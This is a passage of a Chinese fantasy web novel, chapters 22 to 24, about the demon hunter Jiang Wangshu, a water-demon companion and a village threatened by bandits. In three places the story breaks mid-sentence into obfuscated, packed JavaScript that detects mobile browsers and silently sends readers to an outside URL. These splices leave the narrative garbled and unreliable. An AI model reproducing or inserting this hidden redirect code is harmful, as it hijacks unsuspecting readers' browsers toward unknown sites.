走到溪流前,湖面如镜,将她的身影温柔地揽入怀中,倒映出神清气爽的面容,鼻梁挺直而秀气,与小巧的嘴唇相得益彰,她的皮肤白皙,由于走了很多路,透着淡淡的粉色,像是初绽的桃花。 尤其是一双眼睛,闪烁着灵动。 微风拂过,湖水泛起层层细浪,一波一波地向岸边涌来,也搅碎了她的影子。 姜望舒一翻手,一把精致的木梳从收纳袋中出现,一转头,看到手腕上的标记,毫无不留抬手将其抹去。 她微微低头,长发如瀑布般倾泻而下,乌黑发丝在阳光下泛着淡淡的光泽,木梳在发丝间穿梭,发出轻微的沙沙声,几缕头发随风飘动,她抬手将它们重新梳理整齐。 将一切归置好后,她抬头看向湖面上方,声音不悦道:“出来吧!” 一个身影缓缓浮现在湖面上空,能够悬空停在水面上,的确实力不俗。 不得不说,祁辰长得的确很好看,一张精致到近乎完美的脸庞,一双深邃的眼睛此刻藏着无尽的风暴,漆黑的瞳仁在灯光下闪烁着幽冷的光芒。高挺的鼻梁下,薄唇轻抿,微微上扬的唇角带着一丝若有若无的弧度,似笑非笑,像是在嘲讽着什么。 是因为她将他种下的追踪符号抹去了吗?来的还挺快,梳个头发的功夫,他就出现了,姜望舒轻笑。 果然,他一开口便是肯定地说:“你将我的追踪记号消除了?”他一头乌黑的长发随意地披散在肩头,整个人的气质慵懒又不羁。 “不然呢?”姜望舒撇了下嘴角,态度看起来有些无所谓。 祁辰倒也没有继续生气。 “没关系,那我就再种下一个。” 话音刚落,他就朝姜望舒的方向飞了过来,只是还没有等到他靠近,一股冲天的水柱拦住了他的去路,水柱并不能拦住他多久,他连个眼神都懒得分过去,一挥手直接被他破开了。 同一时间,水中响起一声惨叫,湖里面有水妖,这是姜望舒早就发现的,祁辰站立在湖面之上,自然就让水妖以为是在侵犯他的领地,感受到威胁,所以发起了攻击。 一个小脑袋露出水面,是那只小水妖,祁辰根本没有去看他,抬脚径直冲向姜望舒。 姜望舒脚步都未曾移动,因为祁辰紧接着就被一个大大的水笼笼罩在其中,随后,这个水笼开始收缩,只是很快,这个水笼就收缩不了了。 祁辰似乎是真的被惹怒了,厉声道:“小小水妖,是想死吗?” 没想到男孩模样的小水妖猛地缩回湖里去,只露出一个头发尖,上面的呆毛一颤一颤的,奶声奶气地说:“明明是你闯进了我的领地,还问我是不是想死。” 委屈的控诉听得姜望舒都觉得祁辰太过分了,完全忽略她也利用了这小水妖这件事。 就在祁辰被牵绊住几秒的时间,,巨大的白色光芒将他在外层笼罩起来,所以现在禁锢他的有两层,一层是小水妖的水笼,一层是姜望舒布置的法阵。 水妖尖叫了一声,哗啦啦地跃出水面,很机灵地滚到草地上,而祁辰因为冲破水笼的缘故,动作稍有停滞,晚了几秒,彻底被困在法阵当中。 他低低地笑了起来,看起来居然还有一些愉悦,如果不是他正身处法阵的话,真让人觉得他才是计谋得逞的那个人。 “你进步了,这个法阵能够控制我一刻钟的时间,你早就知道我要来?” 姜望舒扬了扬下巴:“没错,在我抹掉这个印记的时候,就知道你一定会来。” 她凑近他,晃动起手中的摄魂铃,那声音清亮而悠扬,如同跃动的精灵。 在不断的铃声中,祁辰的眼神逐渐空洞起来。 就在两人的距离越来越近的时候,祁辰的眼睛突然恢复清明,居然猛地向前,将手放到结界上,仿佛在透过结界抚摸她的脸颊,他如玉的手顿时被灼烧成黑色。 “演技不错。”姜望舒立刻后退。 没了再次戏耍他的兴致,她转身就要离开,却被拉住了衣袖。 姜望舒低头看去,只见一个小男孩死死地攥住她的衣角不放,脸上尽是委屈。 “你!你不许走!”糯米团子大的小男孩气势倒是很足,“你的阵法破坏了我的领地,你得带我一起走!还得保护我的安全,直到我找到新的领地!” 姜望舒反问:“如果我不带上你呢?” “那我就不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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抬头逆光看去,夕阳的光芒照射在那人伟岸的身躯上,倒还真有几分大侠的感觉,不过和仗剑走天涯的大侠不同,他这顶多算是村中大侠。 那个男人正举着一把木剑喊道:“放开小孩,否则别怪我不客气。” 她不由自主地看向那把木剑,心中思量着这木剑看着普通,不知为何威力如此巨大。 “哦,小妹妹,那边有个大哥哥找你呢,你去吧。”姜望舒闻言,强行压住以孩子威胁男人住手并桀桀桀大笑的冲动,很自然地放开了小女孩。 不明所以的小女孩看看面前的大姐姐,又看看远处举着木剑的大哥哥,终于还是跑向大哥哥那里,男人立刻接住飞奔而来的小女孩,朝着一个方向指了指,示意她到安全的地方去。 小女孩刚跑到安全的地方,这个男人就又提着木剑和姜望舒打了起来。 “不是,这位兄台,我都放了她了,你怎么还打?我根本没绑架啊!” 姜望舒忍无可忍地抽出长鞭,这人疯了不成? 可对面像根木头一般,什么都不听,男人不像是捉妖师,因为他连符纸什么的通通都不会使用,甚至连木剑都没有一点法器的气息,进攻似乎有自己的一套章法,但攻击力却很强,招式出其不意,刺得姜望舒东躲西藏的。 她也有些恼了,趁着过招的间隙,直接在自己的长鞭上加上了三张力量符,码垛,抽不死你! 22. 游踪问寻(二十二) 姜望舒手指巧妙地控制着鞭梢,长鞭如同灵蛇般缠上剑身,紧接着用力一拉,便将男人的长剑生生夺下,整个动作行云流水,一气呵成,打掉他的剑后,姜望舒倒是没有乘胜追击,而是叉着腰怒斥道:“打什么打,打什么打!我都说了我放了她了!” 手中的木剑飞了出去,男人一下子定住不动了,仰头直勾勾地盯着黑色长鞭上的剑,焦灼地去追赶,全然忽略了姜望舒的存在。 她发现了件好玩的事情,眼睛亮亮的,手腕翻转,长鞭拉着木剑移到西边,男人也跑了过去,再移到东边,果不其然,男人又转身向东方奔去。 这边姜望舒正玩得不亦乐乎,有村民注意到这边的动静,陆陆续续为了过来,一个老人从人群后方走了出来,还拄着拐杖,看起来就是一个普通人,应该是村中能说得上话的。 他先是咳嗽了几声,对姜望舒说:“抱歉啊,这是我们村的人,名字叫剑痴,他见你是外人,可能有些误会了。姑娘能不能先把他的剑还给他,这孩子也是可怜的,除非有那把木剑在手,不然谁的话都不听。” 还真是简单明了的一个名字…… “没事没事。”姜望舒倒是没有接着生气。“是我不小心闯了进来,行途路过这里,叨扰各位了。” 说完,她将木剑稳稳地甩到剑痴的手中,再抬头,男人眼中的敌意果然减少了很多,庄重地将剑在怀中收好,沉默地站回到村长身旁。 “姑娘,我是这个村的村长,看你刚刚的身法,你是位捉妖师吧!现在天色快要暗下去了,看你风餐露宿,实在不行,可以来我们村里过夜,想要住多久都没问题。” 村长身材不高,但精神气很足,脸上爬上了许多皱纹,一双眼睛却发亮,此刻一脸笑容,关切地看着姜望舒,让她立刻无法拒绝这位善良的老人家了。 听到姜望舒是捉妖师,周围人戒备的眼神明显放松下来,紧绷的脸上重新戴上了善意的笑容,开始切切私语起来,有的甚至直接热切地毛遂自荐,表明自己家中还有空房间。 似乎是从得知姜望舒是捉妖师的那一刻发生的转变,看来这里的人对于捉妖师这个身份抱有好感。 面对扑面而来的善意,姜望舒连连道谢。 看到老村长发话了,那个男人一句话没说,径直离开,只是看向怀中木剑的时候目光温柔,仿佛是在对待什么稀世珍宝一般。 村道使用不规则的石板铺就的,坑坑洼洼处积着些雨水,走在上面,能听到清脆的“哒哒”声,此刻正是傍晚,晚风轻拂,带着田野的芬芳和饭菜的香气,弥漫在村庄的每一个角落,让人的心也跟着柔软起来。 姜望舒跟着老村长来到一户人家的别院中,里面有一个女人正在做饭,都是一些简单的样式,但对于姜望舒这种风餐露宿好久的人来说,已经算是难得的美味了。 一个女人从屋里走出来迎接村长,看到姜望舒后有些迟疑:“这是哪来的女娃娃,长得还挺俊俏,村外人吧?” 村长点点头,将刚刚的事情发生的事情都告诉给这个女人,不出所料,她立刻爽快地同意了。 “没问题,就住在我这吧!想要住几天都可以!” 通过交谈,姜望舒得知女人名叫王红,是个寡妇,丈夫在很多年前去世了,无儿无女,自己一个人过。 “大娘,你们村子里的人好像对捉妖师有着一股莫名的好感。”饭桌上,姜望舒有些好奇地问。 说到这里,王红似乎是有些伤感,她顿了顿,然后才说:“几年前,有一只大妖来到我们村,杀死了很多人,我丈夫也是在那个时候被妖怪杀死的,后来有路过的捉妖师帮我们收了它,所以大家都对捉妖师心存感激。” “抱歉,说到你的伤心事了,”姜望舒放下吃好的碗筷,“对了,王大娘,我刚来这里的时候,见到了剑痴,他似乎与常人不太一样。” 说到剑痴,王红的脸上明显带上了笑容。 “那个孩子啊,是吃百家饭长大的,他的父母走的早,不过他的确不爱说话,但就是很喜欢怀中抱着的那把木剑,说什么都不肯撒手,每天就研究着那剑,后来加入了村子的守卫队。” 看来这个村子的防范措施做得很好,也就可以看出这里的村长是有先见之明的,保护村子不受突然出现的猛兽和妖怪的袭击。 王红接着说:“你是不是奇怪,为什么他叫剑痴?其实是村里的小孩子们开玩笑,说他痴迷于自己的剑,也没有人知道他到底叫什么,他从来不开口说,久而久之,大家都这么叫了。” 姜望舒点点头,表示知道了,吃过饭,她帮王红一起收拾了一下,就回到了房间里。 刚进门,她口袋中的玻璃瓶就忽地飞了出来,瓶盖“咔哒”一声被打开,一个有着圆圆小脸的小男孩出现在床前,乌黑浓密的头发还带着微微卷曲。 “饿死小爷我了,喂!有吃的吗?” 虽然是个漂亮的小孩,不过这孩子一开口就不怎么讨喜了。 姜望舒这个暴脾气,直接上去弹了弹他的脑门,没好气道:“你再喂一个呢?我叫姜望舒,给我叫姐!” “望舒姐,我叫消消,我饿了。” 小丈夫能屈能伸。 “你不是不需要吃东西,有水就能活吗?再说刚刚吃饭的时候怎么不出来吃?” 消消不好意思地笑起来,露出几颗洁白的小牙齿,脸颊上还有一个浅浅的酒窝。 “看她胆子不大,我怕吓到那个王大娘,所以一直忍着。我们小水妖是不需要吃饭,但是我馋啊!而且……”他有些委屈巴巴,“而且,我长时间吸收不到新鲜水,我真的会死的!” 啧,带他走之前也没想到这家伙原来这么难养。 “那你说,怎样的水才算新鲜水源?”姜望舒没忍住捏捏他肉肉的脸。 消消说:“就是流动的水。” “水龙头?” “不可以。” “泉水?” “可以可以可以。” “废话,我上哪去给你找泉水!” 消消赶紧补救说:“井水也可以。” 姜望舒披上一件外套就带着他出门了,因为担心会遇到村中的普通人吓到他们,所以消消还是变回几滴水进到玻璃瓶中。 青柳村虽然穷,但这里的村民却很勤劳,村外有一大片稻田,插秧后,一株株嫩绿的秧苗排列在水田中,田埂将稻田划分成一块块整齐的区域,一看就是从土地里讨生活的一群人。 很快,她找到村子里的井口,消消立刻化成一滴巨大的水滴跳进了井里。 看着在井水中撒欢的消消,姜望舒有些汗颜,也不知道这个家伙泡过澡的水有没有毒,小水妖,应该不至于吧。 井中那滴颜色不同的水滴突然亮了亮:“你是不是嫌弃我!我可是由最纯净的湖水幻化而来,这井水我还瞧不上呢,还得小爷我帮着净化。” 看来这水不会有什么大问题,那她就放心了。 突然,姜望舒敏锐地回头望去,剑痴不知道什么时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15206385|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候站到她不远的阴影处,目光幽深地盯着她。 再帅的男人,这场面也让人觉得惊悚,像是来索命的幽魂一般,姜望舒手中的符纸差点没忍住就要打过去,最后硬生生停了下来。 从姜望舒进到这个村子开始,她就感觉到,这个男人一直对自己有很强的戒备心,甚至是很厌恶,尤其当她说明自己是捉妖师的时候,更是暗暗跟踪她。 可是为什么呢?村中的人敬仰捉妖师,难道他讨厌捉妖师? 他并不是妖怪,从和他的交手中,姜望舒发现他就是一个普通人,但是他身上有一股莫名的气息,不是妖气,更不是捉妖师的气息,很奇怪,从来没见过。 眼见气氛又逐渐不对劲起来,姜望舒先开口:“你好,剑痴,我叫姜望舒,这么晚了,盯着我,是有什么事情找我吗?” 主打的就是一个真诚询问。 哪知剑痴居然真的移开了看向她的目光,低头看向自己手中的木剑,但是人就是不离开。 姜望舒嘴角抽了抽,明白了他的意思——这样就不算盯着她了。 她是很想让剑痴赶快离开的,毕竟消消还在井里呢,万一被发现这里还有只妖怪,那事情就变得糟糕起来了。于是在身后悄悄对消消比了个手势,示意他先不要上来,然后她迈开步子就要直接离开,没想到,消消并没有看到她的暗示,还以为姜望舒要抛弃他,吓得立刻跳了出来。 就在他暴露的时候,姜望舒已经拿出了自己的长鞭,剑痴的动作极快,她的摄魂铃基本无用。 看到剑痴的那一刻,消消就吓得呜哇乱叫起来,下一秒就躲到姜望舒的玻璃瓶里了。 让姜望舒没想到的是,剑痴并没有什么动作,而是目光复杂地看着她,最后难得开口说:“水妖,以后辰时将近再来,否则会遇上巡逻队伍。” 说完,他转身就走了,没有任何留恋。 回到房间后,消消也意识到自己可能是闯祸了,两只食指在胸前点了点,抬头看看姜望舒的脸色,似乎是在观察她是否生气了。 “好了,没事了。” 看姜望舒的反应,他就知道没事了,又恢复了嚣张的样子,往床上一飞,小短腿交叠在一起。 如果不是见过四师兄养的那只性格温顺的蝴蝶妖,姜望舒真要怀疑他们妖怪都是这股散漫嚣张的劲儿了,就是个小水滴居然还能这么豪横。 姜望舒不客气的把他赶下了床:“男女授受不清,你打地铺。” “天啊,你居然要对一个小孩子下手!小爷我还是个未成年的小妖!”消消控诉道。 姜望舒并不吃他那套,人类和妖怪的年龄算法不同,说不定他的年龄比她还要大呢! 她对他说:“我们要在这里多待几天,我需要炼化一枚妖丹,所以这几天你一定要隐藏好身份,不要被这里的人发现了,不然我就装作不认识你。” 消消小声嘀咕了句:“心狠的女人。” 桌上之摆放着一盏油灯,把姜望舒的身影拉得修长而纤细。 她小心翼翼地拿出了用特殊布料包裹着的蛇妖丹,在打开的那一刹那,房间里的空气似乎开始微微波动,仿佛被某种强大的力量牵引,缓缓汇聚到整个屋子内,好在她提前在房子内布下了阵法,这也是她出门在外的习惯。 姜望舒轻轻托起发着幽光的妖丹,一转头却看到消消正一脸纵欲过度的表情。 …… “清醒点,这妖丹能制造幻境。”她毫不留情的朝他打出一道灵力。 23. 游踪问寻(二十三) 清醒过来的消消居然还有些失落:“我刚刚在世界上最富含营养物质的山川水中遨游,就被你打醒了。” 这枚妖丹呈淡紫色,约有拇指大小,表面流转着诡异的暗纹,这下姜望舒更加确认之前那几次让她心痛的梦魇都是这蛇妖丹造成的,它可以织造幻境,让人或者妖沉迷在其中。 消消摇头晃脑道:“这妖丹品级很高,看着像是有百年修为,跟我也差不多。” “既然都是百年修为,为什么我也没觉得你哪里强悍?”姜望舒冷不丁地质疑。 “种族不同!当然能力不同了!”消消仿佛被踩到了尾巴般咆哮起来,“我们是水妖,它是蛇妖,蛇要喝水的,但是我们很擅长控制住敌人,尤其在水汽多的地方,制造烟雾,水笼等等!” 这点姜望舒倒是有些认同,毕竟它的水笼曾经的确减缓过祁辰那只万年老妖的脚步,已经算是很厉害了。 “话说,你想要将这枚蛇妖丹炼化成什么呢?”消消好奇地问。 “唔……” 姜望舒也没有想好炼化成什么,毕竟她也不擅长这些,本来这枚蛇妖丹想要交给苏梓的,但后来回到宗门后就把这事情给忘记了,现在看来她们一时半会也见不到面,不过她可以到东海去看看有没有什么宝贝带给三师姐。 感受到姜望舒的迟疑,消消一脸质疑:“你是不是没想好要炼化成什么,如果失败了,你这简直就是在暴殄天物,说不定还会危及自身性命,小爷劝你最好想好了再开始。” 倒不是姜望舒心急,主要是祁辰不知道什么时候就会追来,同样的招数对他来说肯定是没用的,而且东海海妖众多,她需要提升修为。 思考片刻,她心中有了想法。 姜望舒深吸一口气,缓缓闭上眼睛,开始调整自己的气息。 良久,她猛地睁开双眼,双手迅速结印,一道道复杂的符号在她的之间流转,如同跃动着的古老符文,随着她的动作,紫色的妖丹光芒变得越来越强烈,摄魂铃也飞了出来。 姜望舒的口中开始念念有词,妖丹和摄魂铃一同发出一声低沉的颤动,随后飘到一起,紫色的火焰烧了起来,熊熊烈火让房间的温度都升高了。 就这样过去了一夜,姜望舒停了下来,她并没有炼化完成,天已经亮了,她饿了…… 她直接走出房门,看到王红居然已经早早地起床了,她正端着粥和包子等食物走进来,招呼着姜望舒吃饭。 饭菜味道很好,餐桌上,姜望舒赞不绝口。 吃过饭,王红用手在围裙擦了擦后,递给她一个木食盒,嘱托她送到剑痴家中:“那孩子自己一个人住,怪可怜的,小姑娘,能帮我把这饭菜送过去吗?” “当然没问题!”姜望舒点头,伸手接过沉甸甸的食盒。 姜望舒一路询问着街道上的人,很顺利找到剑痴的住所,他的院子相较于王红家里的就显得寒酸多了,茅屋也比较破旧。 “有人在吗?”姜望舒在院门口喊了一声,没有人回应,耐心等待良久,她又多喊了几下,还是没人回应,看来是不在家。 这边剑痴的院子里没有人,另一侧的院子里走出来一个女人,腰上系着一件围裙,带着一口浓重的口音,冲她喊道:“你是昨天那个捉妖师吧!” “对,王大娘让我来帮忙给剑痴送饭。” “哎呀!今天我家已经给那孩子送过了,王红和我家想到一块去了,”女人挠挠头,脸上带着不好意思的笑,“没事,这孩子家不锁门的,你直接进去把饭菜放到桌子上吧。” 姜望舒答应一声,推门进去,房间的门没关严实,她直接迈步进去,入目是一张破旧的木桌,再往里是一张草席,她将食盒轻轻放到木桌子上。 从屋子里走出来后,见女人还在旁边的院子里,姜望舒问:“大娘,你知道剑痴他人去哪了吗?” “那孩子呀,吃过饭后就去老孙头家了,”看到姜望舒主动跟自己搭话,女人明显更加高兴了,脸微红,朝着一个方向指去,“姑娘,你往前直走,然后左拐的第三家,就在那了,院子里有口井。” 姜望舒道谢后,按照她描述的,果然剑痴正在一间院子里,旁边还站着一个佝偻着脊背的老人,一下一下地把柴火放到台子上,然后剑痴拿着斧头劈,应当就是方才女人口中的“孙老头”。 剑痴瞬间就感觉到外面有人在看,抬头发现是姜望舒,又把头低了下去,孙老头也顺着他的目光看到姜望舒,忙招呼她进来,姜望舒来都来了,也加入了辛勤的劳动当中。 正午干完活后,孙老头留了他们一顿中饭,他家里搭的是炕,姜望舒眼尖地发现炕头放着一摞摞叠得很整齐的衣服,没有被放在柜子里,仿佛是被人时常拿出来整理一般,每一件看上去都十分干净。 孙老头不好意思笑了下:“那些都是我老伴给我做的,她现在已经走喽,但这些衣服够我穿到去找她了。” 乡下的小路上弥漫着泥土的芬芳,白天的时候,姜望舒就在村子里面随便逛逛,偶尔会帮忙村中的人干活,这里几乎家家户户都有自己的菜园,里面都种满了菜,姜望舒甚至觉得,如果等到她老了之后,能有这么个院子也不错。 自从那天晚上的事情过后,剑痴对待她的态度似乎和善了不少,当然,这是她自以为的。 因为剑痴似乎不愿意说话,所以姜望舒也没办法准确判断,只是现在他每次跟着自己的时候,都不会紧盯着她了,改成盯着自己的木剑了,也算是小小的进步,吧? 在姜望舒的不懈努力下,蛇妖丹已经小了大半,摄魂铃现在已经可以称上真正的法器了。 并不是所有的武器都配称作法器,只有威力及妙用达到一定程度后才可以,就像姜望舒的长鞭,就只能够算作武器。 在这期间,消消已经可以轻车熟路地在夜里找到井口,在水井中喝个饱,据消消所说,他每次去偷喝水的时候,剑痴都会跟在他后面,但是从来不会伤害他。 “真是个古怪的人!”消消正坐在凳子上啃着苹果,跟姜望舒吐槽着。 今晚是最后一次,蛇妖丹马上就可以和摄魂铃完全融合了,至于融合后,摄魂铃会变成什么样子,姜望舒也不确定,但不得不说,她运气还算不错,来到这个世界第一次炼化妖丹居然成功了。 就在她拿出蛇妖丹准备再次炼化的时候,突然门外传来一阵激烈的拍门声,同时还能隐约听到嘈杂声和喊叫声交织在一起,王红正在外面急切地喊她。 姜望舒立刻收起妖丹,撤掉阵法,消消也赶忙钻进玻璃瓶中。 “怎么了,王大娘,这么急,外面发生了什么?” 王红焦急地说道:“孩子,你千万不要出门,外面来了山匪。” 她的声音有些颤抖,看起来是有些害怕,但还是在极力安抚姜望舒,在她看来,尽管姜望舒是名捉妖师,但到底是一个姑娘家的,可能没见过这阵势,所以需要保护。 紧接着轮到王红诧异了,听到有山匪来了,面前的小姑娘脸上居然浮现出一丝诡异的兴奋,但她好像还在努力地克制自己的嘴角。 姜望舒此刻是有些激动,无论是穿越前还是穿越后,她都没有遇到过山匪。毕竟穿越前是备受宠爱的大小姐,穿越后更是厉害的捉妖师,有哪个不长眼的土匪敢来打劫她? 手有些痒,想去会会。 出门后,玻璃瓶内的消消小声说:“望舒姐,你还是躲起来吧,捉妖师是不允许攻击普通人的,所以你现在就是个弱女子。” “还有这种规定?消消,这次就算了,当我没听到,下次注意点。”姜望舒回应,“再说了,谁说我要攻击他们了,友好交流一下。” 村口的土墙后,许多男人们正挥舞着手中的武器,神情紧张地看着外面,村长正站在大门口处来回踱步,门已经被栅栏围起来了,剑痴也抱着剑靠在墙角。 墙外,有很多举着火把的壮硕男人,站在前排中间的是一个大胡子的男人,正吩咐着手下的人往前进,看这样子应该是这伙土匪的头头了。 尽管他看着威风,但姜望舒却眼尖地发现他眼神中闪烁着的闪躲,下巴微微向前突出,似乎是在用力地表现强硬,但嘴角又挂着几分掩饰不住的狡黠。 姜望舒皱了皱眉,表示看不懂。 “哎呦,姑娘,你怎么来了,这里危险,可不是你们女人该来的地方,真的太危险了,这种事情还是交给我们男人吧!更何况你年龄这么小。”村长和几个男人见到她,都表示不赞同。 姜望舒颇有些豪迈地一挥手:“可别小瞧女人,没事!别忘了我是捉妖师,放我出去吧,他们都打不过我的。” ”逞强。”剑痴转忽然冷冷地说,转头不去看她。 在她的强烈要求下,村长犹豫再三,终于下定了决心,招呼身边的年轻人把姜望舒给放了出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223770|164609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 那大胡子男见到村中居然推出个小姑娘,顿时哈哈大笑起来,直接抽出腰间别着的匕首,转头对身后的男人们喊:“看啊,这个村子里就推出个女的,看来怕了,识相的话,赶紧投……” 话还没有说完,姜望舒就摇动起手中的摄魂铃,因为对面都是普通人,没有修炼过,身体自然更加脆弱,她担心自己力道过猛,所以只晃动了两声,没想到强化后的摄魂铃效果显著。 前两排的壮汉直接晕倒在地,后面的则像雕像一样站着一动不动,得意的表情就这么凝固在脸上。 盯着晕死在地上邋里邋遢的头头看了一会,姜望舒实在不想亲自动手,嫌弃了一会,还是弯腰将这人捆起来,一路拖回村子里。 村民们看着这奇异景色,都目瞪口呆,姜望舒就这么把男人绑了起来,一步步走进村子,月光照在她身上,为她披上一层银白色的外衣,把她身后的土匪头子衬得更加肮脏邋遢了。 “这是什么,我是不是产生幻觉了,他们怎么一动不动了。” “你傻啊,真是没见过世面。这就是捉妖师的能力,你看那小姑娘摇摇铃铛,他们就都动不了了。” ”怎么,说得好像你见过这场面似的,搞得我都想去当捉妖师了。” “你得了吧,你以为捉妖师是想当就能当的,努力是一方面,更重要的是要有天赋,天赋懂吗?” 村民们七嘴八舌地小声嘀咕着,一个个脸上都流露着羡慕。 “好了,别说了。”村长打断他们的窃窃私语,“姑娘,你看这接下来要怎么办可好?” 姜望舒再次举起手中的铃铛,这次只晃动了一下,好像是一把锤子敲碎密不透风的外壳,但是地上的土匪头子还是没有睁开眼睛。 她皱了皱眉,上去就拍了他一巴掌:“别装了,我知道你醒了。” 倒在地上的土匪头子才颤抖着睁开眼睛,嘴里还塞着破布,只能发出含糊不清的呜咽声,衣服破破烂烂,脸上满是泥土。 姜望舒一把将他嘴里的破布拿了出来。 土匪头子发出杀猪般的叫声,大喊:“我不服!你个小妮子使诈!我不服不服!!!” “行,就你不服?不服就干!我打到你服为止!”姜望舒鞭子一甩,旁边的大石头就这么轰地一声变成了碎片,豪横的样子,简直比山匪还山匪。 被绑在地上的男人明显瑟缩了一下,说话声音都小了:“我服,有点服了还不行……” 此刻的消消似乎戏瘾也犯了,但它不方便现身,所以就传音到男人的脑海中叫喊着。 “喂!怎么,见到你望舒姐和消消哥还敢不服!我看你是茅坑里打灯笼,找死,一个水花拍死你!” 消消刚说完,男人的表情顿时像是吃了屎一般难看,眼前的姜望舒根本就没有张嘴过!他从刚刚的瑟缩变成极度的恐惧,“你你你”了半天,最后说了一句:“你是人是鬼?” “我是你消大爷!” 脑海里的声音回应着。 这下,他是彻底吓傻了,直起身来就要磕头,可惜他被绳子捆的太严实,这男人只能像毛毛虫一样动来动去。 姜望舒双手抱臂,微微弯腰看着他说:“兄弟,我说,你胆子这么小,怎么当上头头的?” 现在姜望舒的模样在他的眼里就像个杀人不眨眼的女魔头,他还向后躲了躲。 “我们帮是世袭制的……”他似乎有些不好意思,“而且我长得也壮实,打架也厉害……” 姜望舒有些嫌弃地说:“行吧。” 他似乎有些讨好地看着姜望舒:“望舒姐,你看什么时候能放了我,我保证,绝对再也不来打劫这个村子了,我们也是太饿了,没有吃的,所以才来打劫的。” “把心思多放在种地上就有吃的了。”姜望舒并不买他的账,“想要我现在放了你?不可能,你先跟我一起出去外面,让你那些弟兄都撤退,等过几天,你在自己走回去。” 说完,她又挥挥拳头:“要是之后让我在发现你来打劫,哼哼。” 男人顿时头摇得像拨浪鼓一样:“不不不,我绝对不会来的。” 姜望舒直起身,刚想要跟村长他们说些什么的时候,发现众人看自己的眼神都变了,如果之前说是友好,那么现在就是友好又敬畏。 “女侠….不,姑娘,今天真是多谢你了,你看还需要我们做什么不?”村长走了过来。 24. 游踪问寻(二十四) 成功装到了的姜望舒转身,坚持对身后目瞪口呆的人们说出了自己的台词:“没关系,他们以后不敢再来了。” 在姜望舒的一番交代和村长的安排下,村门口的土匪们都清醒过来,老大都被人擒走按在地上摩擦,他们这些小喽喽像是被一盆冷水浇醒了般,一个个低着头沉默不语,灰溜溜地走了,独留他们老大在村里受苦。 土匪的头头被关押到一个柴房里,经众人商量后,决定晚上让剑痴看守他,毕竟他武力值最高,如果晚上出事也能及时反应过来,至于白天,则由另外几个村中的男人看守。 姜望舒主动提出晚上的时候可以和剑痴一起看守,这样他们二人可以轮班,他也能休息一下。 从头到尾,剑痴都没有什么反应,似乎对于一切都表示默认,村民们早就习惯了他的表达方式,知道这是同意的意思,如果他不情愿的话,就会直接转身离开的。 忙活了一晚上,所有人都累了,可惜今晚注定是个不眠夜,除了继续巡逻的人,村长又增派了人手,担心那群人去而复返,不过好在并没有发生这样的情况,看来是真的被姜望舒诡异的操作吓退了。 姜望舒已经回到王红家,对王大娘说明了情况后,又独自进了房间,消消这才敢从玻璃瓶中飞出来。 他眼睛亮晶晶道:“太酷了,小爷我好久没有玩的这么爽了,上次遇到那个老妖怪真是要憋屈死我了。” 姜望舒瞥了他一眼,淡定地提着他的衣领,把他从床上安稳地放到地上,才接着不紧不慢地说:“那个老……妖怪,输给他你不算冤枉。” “怎么说?”消消好奇地问,“对了,你说你是怎么惹到这么恐怖的老妖怪的,我长这么大,从来没遇到过修为这么高的,真是吓死水了。” 姜望舒轻描淡写地说:“你没遇到过很正常,他是四大妖王之一,是个树妖,至于具体是什么树……”说到这里,她居然莫名觉得自己的手腕和脚踝有点刺痛。 转了转手腕,似乎并没有什么问题,姜望舒也就没有继续把这件事放在心上,接着刚刚的话继续:“也不知道他是什么树种,既然能活那么久,估计树根都已经很巨大了。” “什么!四大妖王之一!我居然还活着呢?”消消蹦了起来,神色惊恐地在自己身上到处乱看,确认自己一切完好后才松了口气,“不对不对,你怎么惹到他了?” 姜望舒有些无奈:“我哪知道啊,我就是比了个赛,然后看了裁判席几眼,到葱雾森林外围捉了几只妖怪,就被种下追踪符了,再之后……我就在那片湖旁把追踪符号给消除了。” 消消直接发出了尖锐的惨叫:“怪不得!怪不得!他能追到我家里,那,我那里,明明很隐蔽!完了完了,他绝对不会放过我们的!啊啊啊啊啊!” 他直接变成水滴上蹿下跳起来,像是在跳滑稽的舞蹈,最后还是被姜望舒一拳打掉在地,这才安静下来。 “好了好了,我答应你,一定给你找个新家,然后我跑得远远的,这样他就不会来追杀你了好吧?” 听到这话,消消的情绪这才稍稍平静下来。 “不过你下次真的要小心了,我跟你说,对我们妖怪来说,我们只会对最重要的人下追踪符,毕竟一个妖怪只能对同一个人或妖使用,之后就会有类似的排异反应,如此可见,他是一定不会放过你了。” 新家得到保证后,消消也恢复了原本的善良,有些担忧地看向姜望舒,好心提醒她。 姜望舒并没有太过恐惧,该来的总会来,她也要一直提升实力,早日结束跑路的日子,再说,追踪符已无,世界之大,他又如何能寻到她? 东方的天际开始透出淡淡的鱼肚白之际,姜望舒终于睁开了眼睛,成了! 此刻的摄魂铃周身浮现着淡淡的紫色光芒,铃铛上也多了几道纹路,昨天那几个普通人太弱,姜望舒没有彻底使出它的力量,所以还不知道具体有什么变化。 